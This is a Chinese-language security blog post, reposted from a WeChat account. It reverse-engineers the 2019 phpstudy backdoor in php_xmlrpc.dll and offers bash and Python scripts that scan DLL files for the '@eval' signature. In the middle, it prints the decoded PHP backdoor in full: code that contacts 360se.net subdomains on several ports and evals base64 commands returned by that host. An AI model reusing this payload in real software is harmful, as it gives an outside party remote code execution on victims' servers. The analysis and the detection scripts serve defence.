2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件,基于研究的目的,于是有了以下这文。
从某些下载站随便下载一些phpstudy,在虚拟机中解压,着重看PHPTutorial/php文件夹下各个dll文件,自己分析不同版本的dll文件,发现在5.4左右版本的php_xmlrpc.dll存在问题。
逆向分析
在天河师傅的协助下,使用IDA Pro x86对php_xmlrpc.dll进行逆向分析。dll中存在对本地计算机信息进行收集的代码。并且在字符串中可以很清楚的看到@eval字样。
这里拼接了一个 @eval(gzuncompress(‘%s’));的代码 ,明显是调用gzuncompress方法解密执行某些代码,没解密前的代码来自asc_1000D028 到unk_1000D66C这个部分,拼接好的字符串放在v42处
zend_eval_string处执行v42处执行的代码,我们把数据提取出来,并进行处理,并且经过php的gzuncompress解码,得到以下
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
分析到此就可以结束。这个后门估计早就已经失效了。
检测脚本
以下是我编写的pcheck.sh文件,运行后可以递归检测当前目录下所有dll文件中是否包含木马文件的特征值。
#! /bin/bash
# author: [email protected]
# http://pcat.cc
# trojan feature
trojan=@eval
function check_dir(){
for file in `ls $1`
do
f2=$1"/"$file
if [ -d $f2 ]
then
check_dir $f2
# just check dll file
elif [ "${file##*.}"x = "dll"x ]
then
strings $f2 |grep -q $trojan
if [ $? == 0 ]
then
echo "===" $f2 "===="
strings $f2 |grep $trojan
fi
fi
done
}
# . stand for current directory
check_dir .
# -*- coding:utf8 -*-
__author__='[email protected]'
__blog__='http://pcat.cc'
import os
import string
import re
def strings(file) :
chars = string.printable[:94]
shortestReturnChar = 4
regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
pattern = re.compile(regExp)
with open(file, 'rb') as f:
return pattern.findall(f.read())
def grep(lines,pattern):
for line in lines:
if pattern in line:
yield line
def pcheck(filename):
# trojan feature
trojan='@eval'
# just check dll file
if filename.endswith('.dll'):
lines=strings(filename)
try:
grep(lines,trojan).next()
except:
return
print '=== {0} ==='.format(filename)
for line in grep(lines,trojan):
print line
pass
def foo():
# . stand for current directory
for path, dirs, files in os.walk(".", topdown=False):
for name in files:
pcheck(os.path.join(path, name))
for name in dirs:
pcheck(os.path.join(path, name))
pass
if __name__ == '__main__':
foo()
结束语
原文始发于微信公众号(ChaMd5安全团队):phpstudy后门文件分析以及检测脚本